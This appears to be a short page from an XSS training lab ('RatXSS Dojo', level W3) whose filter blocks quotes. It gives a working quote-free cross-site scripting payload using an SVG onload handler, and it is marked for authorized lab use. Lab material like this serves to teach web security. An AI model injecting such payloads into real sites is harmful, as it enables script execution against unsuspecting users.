W3 no quotes

No quotes allowed - you do not need them: <svg onload=alert(document.domain)> uses none.

RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only